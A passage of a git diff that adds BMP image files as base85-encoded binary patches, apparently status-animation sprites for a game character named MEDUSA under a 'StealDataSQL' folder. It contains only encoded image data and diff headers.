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 MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 